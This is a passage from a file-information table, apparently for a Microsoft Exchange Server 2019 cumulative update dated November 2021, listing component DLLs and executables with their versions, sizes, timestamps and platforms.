15.2.986.13| 38,280| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.perflog.dll| 15.2.986.14| #########| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.loganalyzer.analyzers.pfassistantlog.dll| 15.2.986.11| 29,048| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.rca.dll| 15.2.986.11| 21,392| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.analyzers.restlog.dll| 15.2.986.14| 24,456| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.loganalyzer.analyzers.store.dll| 15.2.986.14| 15,232| 3-Nov-21| 19:00| x86 \nMicrosoft.exchange.loganalyzer.analyzers.transportsynchealthlog.dll| 15.2.986.11| 21,904| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.core.dll| 15.2.986.11| 89,480| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.loganalyzer.extensions.auditing.dll| 15.2.986.11| 20,880| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.certificatelog.dll| 15.2.986.11| 26,512| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.cmdletinfralog.dll| 15.2.986.11| 21,392| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.common.dll| 15.2.986.11| 28,048| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.easlog.dll| 15.2.986.11| 28,544| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.errordetection.dll| 15.2.986.11| 36,240| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.ewslog.dll| 15.2.986.11| 16,784| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.griffinperfcounter.dll| 15.2.986.11| 19,840| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.groupescalationlog.dll| 15.2.986.11| 15,248| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.httpproxylog.dll| 15.2.986.11| 17,296| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.hxservicelog.dll| 15.2.986.11| 19,856| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.iislog.dll| 15.2.986.11| 57,208| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.migrationlog.dll| 15.2.986.11| 17,808| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.oabdownloadlog.dll| 15.2.986.14| 18,808| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.loganalyzer.extensions.oauthcafelog.dll| 15.2.986.11| 16,272| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.outlookservicelog.dll| 15.2.986.11| 17,808| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.owaclientlog.dll| 15.2.986.11| 15,232| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.owalog.dll| 15.2.986.11| 15,248| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.perflog.dll| 15.2.986.11| 52,600| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.pfassistantlog.dll| 15.2.986.11| 18,320| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.rca.dll| 15.2.986.11| 34,184| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.restlog.dll| 15.2.986.14| 17,296| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.loganalyzer.extensions.store.dll| 15.2.986.11| 18,832| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loganalyzer.extensions.transportsynchealthlog.dll| 15.2.986.11| 43,408| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.loguploader.dll| 15.2.986.14| 165,264| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.loguploaderproxy.dll| 15.2.986.14| 54,648| 3-Nov-21| 18:26| x86 \nMicrosoft.exchange.mailboxassistants.assistants.dll| 15.2.986.14| 9,059,704| 3-Nov-21| 21:14| x86 \nMicrosoft.exchange.mailboxassistants.attachmentthumbnail.dll| 15.2.986.14| 33,144| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.mailboxassistants.common.dll| 15.2.986.14| 124,296| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxassistants.crimsonevents.dll| 15.2.986.11| 82,824| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.mailboxassistants.eventlog.dll| 15.2.986.11| 14,200| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.mailboxassistants.rightsmanagement.dll| 15.2.986.14| 30,072| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxloadbalance.dll| 15.2.986.14| 661,392| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.mailboxloadbalance.serverstrings.dll| 15.2.986.14| 63,368| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.mailboxreplicationservice.calendarsyncprovider.dll| 15.2.986.14| 175,504| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.common.dll| 15.2.986.14| 2,793,336| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.complianceprovider.dll| 15.2.986.14| 53,136| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.contactsyncprovider.dll| 15.2.986.14| 151,440| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.dll| 15.2.986.14| 967,048| 3-Nov-21| 20:05| x86 \nMicrosoft.exchange.mailboxreplicationservice.easprovider.dll| 15.2.986.14| 185,232| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.eventlog.dll| 15.2.986.11| 31,632| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.mailboxreplicationservice.googledocprovider.dll| 15.2.986.14| 39,800| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.imapprovider.dll| 15.2.986.14| 105,872| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.mapiprovider.dll| 15.2.986.14| 95,120| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.popprovider.dll| 15.2.986.14| 43,408| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyclient.dll| 15.2.986.13| 18,832| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.mailboxreplicationservice.proxyservice.dll| 15.2.986.14| 172,936| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.mailboxreplicationservice.pstprovider.dll| 15.2.986.14| 102,264| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.remoteprovider.dll| 15.2.986.14| 98,704| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.storageprovider.dll| 15.2.986.14| 188,816| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.syncprovider.dll| 15.2.986.14| 43,384| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxreplicationservice.xml.dll| 15.2.986.11| 447,376| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.mailboxreplicationservice.xrmprovider.dll| 15.2.986.14| 89,976| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.mailboxtransport.monitoring.dll| 15.2.986.14| 107,896| 3-Nov-21| 21:28| x86 \nMicrosoft.exchange.mailboxtransport.storedriveragents.dll| 15.2.986.14| 371,088| 3-Nov-21| 20:12| x86 \nMicrosoft.exchange.mailboxtransport.storedrivercommon.dll| 15.2.986.14| 193,912| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.dll| 15.2.986.14| 551,816| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.eventlog.dll| 15.2.986.11| 16,264| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.mailboxtransport.submission.eventlog.dll| 15.2.986.11| 15,736| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.dll| 15.2.986.14| 320,888| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.eventlog.dll| 15.2.986.11| 17,784| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.mailboxtransport.syncdelivery.dll| 15.2.986.14| 45,456| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.dll| 15.2.986.14| 18,312| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.mailboxtransportwatchdogservicelet.eventlog.dll| 15.2.986.11| 12,680| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.managedlexruntime.mppgruntime.dll| 15.2.986.11| 20,856| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.management.activedirectory.dll| 15.2.986.14| 415,112| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.management.classificationdefinitions.dll| 15.2.986.13| 1,269,624| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.management.compliancepolicy.dll| 15.2.986.14| 41,848| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.management.controlpanel.basics.dll| 15.2.986.11| 433,536| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.management.controlpanel.dll| 15.2.986.14| 4,567,952| 3-Nov-21| 22:14| x86 \nMicrosoft.exchange.management.controlpanel.owaoptionstrings.dll| 15.2.986.13| 260,984| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.management.controlpanelmsg.dll| 15.2.986.11| 33,680| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.management.deployment.analysis.dll| 15.2.986.14| 94,072| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.management.deployment.dll| 15.2.986.14| 588,680| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.management.deployment.xml.dll| 15.2.986.11| 3,544,448| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.management.detailstemplates.dll| 15.2.986.14| 67,960| 3-Nov-21| 20:47| x86 \nMicrosoft.exchange.management.dll| 15.2.986.14| #########| 3-Nov-21| 20:20| x86 \nMicrosoft.exchange.management.edge.systemmanager.dll| 15.2.986.14| 58,760| 3-Nov-21| 20:29| x86 \nMicrosoft.exchange.management.infrastructure.asynchronoustask.dll| 15.2.986.14| 23,952| 3-Nov-21| 20:32| x86 \nMicrosoft.exchange.management.jitprovisioning.dll| 15.2.986.14| 101,768| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.management.migration.dll| 15.2.986.14| 544,136| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.management.mobility.dll| 15.2.986.14| 305,016| 3-Nov-21| 20:30| x86 \nMicrosoft.exchange.management.nativeresources.dll| 15.2.986.11| 273,800| 3-Nov-21| 18:14| x64 \nMicrosoft.exchange.management.powershell.support.dll| 15.2.986.14| 418,696| 3-Nov-21| 20:27| x86 \nMicrosoft.exchange.management.provisioning.dll| 15.2.986.14| 275,856| 3-Nov-21| 20:35| x86 \nMicrosoft.exchange.management.psdirectinvoke.dll| 15.2.986.14| 70,536| 3-Nov-21| 20:38| x86 \nMicrosoft.exchange.management.rbacdefinition.dll| 15.2.986.14| 7,878,536| 3-Nov-21| 19:03| x86 \nMicrosoft.exchange.management.recipient.dll| 15.2.986.14| 1,501,560| 3-Nov-21| 20:31| x86 \nMicrosoft.exchange.management.snapin.esm.dll| 15.2.986.14| 71,560| 3-Nov-21| 20:29| x86 \nMicrosoft.exchange.management.systemmanager.dll| 15.2.986.14| 1,301,368| 3-Nov-21| 20:24| x86 \nMicrosoft.exchange.management.transport.dll| 15.2.986.14| 1,875,856| 3-Nov-21| 20:36| x86 \nMicrosoft.exchange.managementgui.dll| 15.2.986.14| 5,366,672| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.managementmsg.dll| 15.2.986.11| 36,216| 3-Nov-21| 18:14| x64 \nMicrosoft.exchange.mapihttpclient.dll| 15.2.986.14| 117,640| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.mapihttphandler.dll| 15.2.986.14| 209,800| 3-Nov-21| 20:27| x86 \nMicrosoft.exchange.messagesecurity.dll| 15.2.986.14| 79,760| 3-Nov-21| 19:04| x86 \nMicrosoft.exchange.messagesecurity.messagesecuritymsg.dll| 15.2.986.11| 17,272| 3-Nov-21| 18:14| x64 \nMicrosoft.exchange.messagingpolicies.dlppolicyagent.dll| 15.2.986.14| 156,048| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.messagingpolicies.edgeagents.dll| 15.2.986.14| 65,912| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.messagingpolicies.eventlog.dll| 15.2.986.11| 30,592| 3-Nov-21| 18:18| x64 \nMicrosoft.exchange.messagingpolicies.filtering.dll| 15.2.986.14| 58,256| 3-Nov-21| 19:54| x86 \nMicrosoft.exchange.messagingpolicies.hygienerules.dll| 15.2.986.14| 29,576| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.messagingpolicies.journalagent.dll| 15.2.986.14| 175,480| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.messagingpolicies.redirectionagent.dll| 15.2.986.14| 28,560| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.messagingpolicies.retentionpolicyagent.dll| 15.2.986.14| 75,152| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.messagingpolicies.rmsvcagent.dll| 15.2.986.14| 206,200| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.messagingpolicies.rules.dll| 15.2.986.14| 440,696| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.messagingpolicies.supervisoryreviewagent.dll| 15.2.986.14| 83,344| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.messagingpolicies.transportruleagent.dll| 15.2.986.14| 35,192| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.messagingpolicies.unifiedpolicycommon.dll| 15.2.986.14| 53,136| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.messagingpolicies.unjournalagent.dll| 15.2.986.14| 96,632| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.migration.dll| 15.2.986.14| 1,109,896| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.migrationworkflowservice.eventlog.dll| 15.2.986.11| 14,712| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.mitigation.service.eventlog.dll| 15.2.986.11| 13,176| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.mitigation.service.exe| 15.2.986.14| 81,808| 3-Nov-21| 20:41| x86 \nMicrosoft.exchange.mobiledriver.dll| 15.2.986.14| 135,568| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.monitoring.activemonitoring.local.components.dll| 15.2.986.14| 5,064,584| 3-Nov-21| 21:21| x86 \nMicrosoft.exchange.monitoring.servicecontextprovider.dll| 15.2.986.14| 19,840| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.mrsmlbconfiguration.dll| 15.2.986.14| 68,488| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.net.dll| 15.2.986.14| 5,085,584| 3-Nov-21| 18:18| x86 \nMicrosoft.exchange.net.rightsmanagement.dll| 15.2.986.14| 265,592| 3-Nov-21| 18:20| x86 \nMicrosoft.exchange.networksettings.dll| 15.2.986.14| 37,752| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.notifications.broker.eventlog.dll| 15.2.986.11| 14,216| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.notifications.broker.exe| 15.2.986.14| 549,264| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.oabauthmodule.dll| 15.2.986.14| 22,928| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.oabrequesthandler.dll| 15.2.986.14| 106,376| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.oauth.core.dll| 15.2.986.11| 291,720| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.objectstoreclient.dll| 15.2.986.11| 17,272| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.odata.configuration.dll| 15.2.986.14| 277,880| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.odata.dll| 15.2.986.14| 2,995,064| 3-Nov-21| 21:07| x86 \nMicrosoft.exchange.officegraph.common.dll| 15.2.986.14| 91,528| 3-Nov-21| 19:21| x86 \nMicrosoft.exchange.officegraph.grain.dll| 15.2.986.14| 101,752| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.officegraph.graincow.dll| 15.2.986.14| 38,280| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.officegraph.graineventbasedassistants.dll| 15.2.986.14| 45,448| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.officegraph.grainpropagationengine.dll| 15.2.986.14| 58,256| 3-Nov-21| 19:43| x86 \nMicrosoft.exchange.officegraph.graintransactionstorage.dll| 15.2.986.14| 147,336| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.officegraph.graintransportdeliveryagent.dll| 15.2.986.14| 26,488| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.officegraph.graphstore.dll| 15.2.986.14| 183,176| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.officegraph.permailboxkeys.dll| 15.2.986.14| 26,512| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.officegraph.secondarycopyquotamanagement.dll| 15.2.986.14| 38,280| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.officegraph.secondaryshallowcopylocation.dll| 15.2.986.14| 55,688| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.officegraph.security.dll| 15.2.986.14| 147,336| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.officegraph.semanticgraph.dll| 15.2.986.14| 191,880| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.officegraph.tasklogger.dll| 15.2.986.14| 33,656| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.partitioncache.dll| 15.2.986.13| 28,040| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.passivemonitoringsettings.dll| 15.2.986.14| 32,632| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.photogarbagecollectionservicelet.dll| 15.2.986.14| 15,248| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.pop3.eventlog.dll| 15.2.986.11| 17,288| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.pop3.eventlog.dll.fe| 15.2.986.11| 17,288| 3-Nov-21| 18:13| Not applicable \nMicrosoft.exchange.pop3.exe| 15.2.986.14| 106,888| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.pop3.exe.fe| 15.2.986.14| 106,888| 3-Nov-21| 19:39| Not applicable \nMicrosoft.exchange.pop3service.exe| 15.2.986.14| 24,968| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.pop3service.exe.fe| 15.2.986.14| 24,968| 3-Nov-21| 19:37| Not applicable \nMicrosoft.exchange.popconfiguration.dl1| 15.2.986.14| 42,872| 3-Nov-21| 18:23| Not applicable \nMicrosoft.exchange.popimap.core.dll| 15.2.986.14| 262,544| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.popimap.core.dll.fe| 15.2.986.14| 262,544| 3-Nov-21| 19:37| Not applicable \nMicrosoft.exchange.powersharp.dll| 15.2.986.11| 357,776| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.powersharp.management.dll| 15.2.986.14| 4,168,056| 3-Nov-21| 20:39| x86 \nMicrosoft.exchange.powershell.configuration.dll| 15.2.986.14| 308,600| 3-Nov-21| 20:40| x64 \nMicrosoft.exchange.powershell.rbachostingtools.dll| 15.2.986.14| 41,360| 3-Nov-21| 20:40| x86 \nMicrosoft.exchange.protectedservicehost.exe| 15.2.986.14| 30,608| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.protocols.fasttransfer.dll| 15.2.986.14| 136,064| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.protocols.mapi.dll| 15.2.986.14| 441,728| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.provisioning.eventlog.dll| 15.2.986.11| 14,200| 3-Nov-21| 18:14| x64 \nMicrosoft.exchange.provisioningagent.dll| 15.2.986.14| 224,648| 3-Nov-21| 20:31| x86 \nMicrosoft.exchange.provisioningservicelet.dll| 15.2.986.14| 105,848| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.pst.dll| 15.2.986.11| 168,824| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.pst.dll.deploy| 15.2.986.11| 168,824| 3-Nov-21| 18:11| Not applicable \nMicrosoft.exchange.pswsclient.dll| 15.2.986.13| 259,464| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.publicfolders.dll| 15.2.986.14| 72,080| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.pushnotifications.crimsonevents.dll| 15.2.986.11| 215,944| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.pushnotifications.dll| 15.2.986.14| 106,888| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.pushnotifications.publishers.dll| 15.2.986.14| 425,360| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.pushnotifications.server.dll| 15.2.986.14| 70,544| 3-Nov-21| 19:42| x86 \nMicrosoft.exchange.query.analysis.dll| 15.2.986.14| 46,472| 3-Nov-21| 20:05| x86 \nMicrosoft.exchange.query.configuration.dll| 15.2.986.14| 215,952| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.query.core.dll| 15.2.986.14| 168,840| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.query.ranking.dll| 15.2.986.14| 343,416| 3-Nov-21| 20:05| x86 \nMicrosoft.exchange.query.retrieval.dll| 15.2.986.14| 174,472| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.query.suggestions.dll| 15.2.986.14| 95,120| 3-Nov-21| 20:04| x86 \nMicrosoft.exchange.realtimeanalyticspublisherservicelet.dll| 15.2.986.14| 127,352| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.relevance.core.dll| 15.2.986.11| 63,376| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.relevance.data.dll| 15.2.986.14| 36,752| 3-Nov-21| 19:15| x64 \nMicrosoft.exchange.relevance.mailtagger.dll| 15.2.986.14| 17,784| 3-Nov-21| 18:53| x64 \nMicrosoft.exchange.relevance.people.dll| 15.2.986.14| 9,666,936| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.relevance.peopleindex.dll| 15.2.986.14| #########| 3-Nov-21| 18:20| x64 \nMicrosoft.exchange.relevance.peopleranker.dll| 15.2.986.14| 36,744| 3-Nov-21| 18:25| x86 \nMicrosoft.exchange.relevance.perm.dll| 15.2.986.11| 97,672| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.relevance.sassuggest.dll| 15.2.986.14| 28,536| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.relevance.upm.dll| 15.2.986.11| 72,080| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.routing.client.dll| 15.2.986.14| 15,752| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.routing.eventlog.dll| 15.2.986.11| 13,176| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.routing.server.exe| 15.2.986.14| 58,744| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.rpc.dll| 15.2.986.14| 1,692,048| 3-Nov-21| 18:23| x64 \nMicrosoft.exchange.rpcclientaccess.dll| 15.2.986.14| 209,808| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.rpcclientaccess.exmonhandler.dll| 15.2.986.14| 60,280| 3-Nov-21| 18:59| x86 \nMicrosoft.exchange.rpcclientaccess.handler.dll| 15.2.986.14| 517,512| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.rpcclientaccess.monitoring.dll| 15.2.986.14| 160,648| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.rpcclientaccess.parser.dll| 15.2.986.14| 723,320| 3-Nov-21| 18:18| x86 \nMicrosoft.exchange.rpcclientaccess.server.dll| 15.2.986.14| 243,064| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.rpcclientaccess.service.eventlog.dll| 15.2.986.11| 20,872| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.rpcclientaccess.service.exe| 15.2.986.14| 35,200| 3-Nov-21| 20:27| x86 \nMicrosoft.exchange.rpchttpmodules.dll| 15.2.986.14| 42,384| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.dll| 15.2.986.14| 56,208| 3-Nov-21| 20:23| x86 \nMicrosoft.exchange.rpcoverhttpautoconfig.eventlog.dll| 15.2.986.11| 27,536| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.rules.common.dll| 15.2.986.14| 130,440| 3-Nov-21| 18:44| x86 \nMicrosoft.exchange.saclwatcher.eventlog.dll| 15.2.986.11| 14,736| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.saclwatcherservicelet.dll| 15.2.986.14| 20,360| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.safehtml.dll| 15.2.986.11| 21,392| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.sandbox.activities.dll| 15.2.986.11| 267,640| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.sandbox.contacts.dll| 15.2.986.13| 110,992| 3-Nov-21| 18:13| x86 \nMicrosoft.exchange.sandbox.core.dll| 15.2.986.11| 112,528| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.sandbox.services.dll| 15.2.986.11| 622,472| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.search.bigfunnel.dll| 15.2.986.14| 184,720| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.search.bigfunnel.eventlog.dll| 15.2.986.11| 12,160| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.search.blingwrapper.dll| 15.2.986.13| 19,344| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.search.core.dll| 15.2.986.14| 211,336| 3-Nov-21| 19:33| x86 \nMicrosoft.exchange.search.ediscoveryquery.dll| 15.2.986.14| 17,808| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.search.engine.dll| 15.2.986.14| 97,680| 3-Nov-21| 19:43| x86 \nMicrosoft.exchange.search.fast.configuration.dll| 15.2.986.14| 16,760| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.search.fast.dll| 15.2.986.14| 436,608| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.search.files.dll| 15.2.986.14| 274,320| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.search.flighting.dll| 15.2.986.14| 24,952| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.search.mdb.dll| 15.2.986.14| 217,464| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.search.service.exe| 15.2.986.14| 26,512| 3-Nov-21| 19:44| x86 \nMicrosoft.exchange.security.applicationencryption.dll| 15.2.986.14| 221,064| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.security.dll| 15.2.986.14| 1,558,904| 3-Nov-21| 19:32| x86 \nMicrosoft.exchange.security.msarpsservice.exe| 15.2.986.14| 19,848| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.security.securitymsg.dll| 15.2.986.11| 28,544| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.server.storage.admininterface.dll| 15.2.986.14| 225,168| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.server.storage.common.dll| 15.2.986.14| 5,151,120| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.server.storage.diagnostics.dll| 15.2.986.14| 214,928| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.server.storage.directoryservices.dll| 15.2.986.14| 115,600| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.server.storage.esebackinterop.dll| 15.2.986.14| 82,808| 3-Nov-21| 18:53| x64 \nMicrosoft.exchange.server.storage.eventlog.dll| 15.2.986.11| 80,784| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.server.storage.fulltextindex.dll| 15.2.986.14| 66,448| 3-Nov-21| 19:39| x86 \nMicrosoft.exchange.server.storage.ha.dll| 15.2.986.14| 81,272| 3-Nov-21| 19:53| x86 \nMicrosoft.exchange.server.storage.lazyindexing.dll| 15.2.986.14| 211,856| 3-Nov-21| 19:44| x86 \nMicrosoft.exchange.server.storage.logicaldatamodel.dll| 15.2.986.14| 1,338,744| 3-Nov-21| 19:50| x86 \nMicrosoft.exchange.server.storage.mapidisp.dll| 15.2.986.14| 511,352| 3-Nov-21| 19:54| x86 \nMicrosoft.exchange.server.storage.multimailboxsearch.dll| 15.2.986.14| 47,504| 3-Nov-21| 19:44| x86 \nMicrosoft.exchange.server.storage.physicalaccess.dll| 15.2.986.14| 873,864| 3-Nov-21| 19:37| x86 \nMicrosoft.exchange.server.storage.propertydefinitions.dll| 15.2.986.14| 1,352,592| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.server.storage.propertytag.dll| 15.2.986.14| 30,600| 3-Nov-21| 18:53| x86 \nMicrosoft.exchange.server.storage.rpcproxy.dll| 15.2.986.14| 130,448| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.server.storage.storecommonservices.dll| 15.2.986.14| 1,018,232| 3-Nov-21| 19:41| x86 \nMicrosoft.exchange.server.storage.storeintegritycheck.dll| 15.2.986.14| 111,496| 3-Nov-21| 19:51| x86 \nMicrosoft.exchange.server.storage.workermanager.dll| 15.2.986.14| 34,680| 3-Nov-21| 18:53| x86 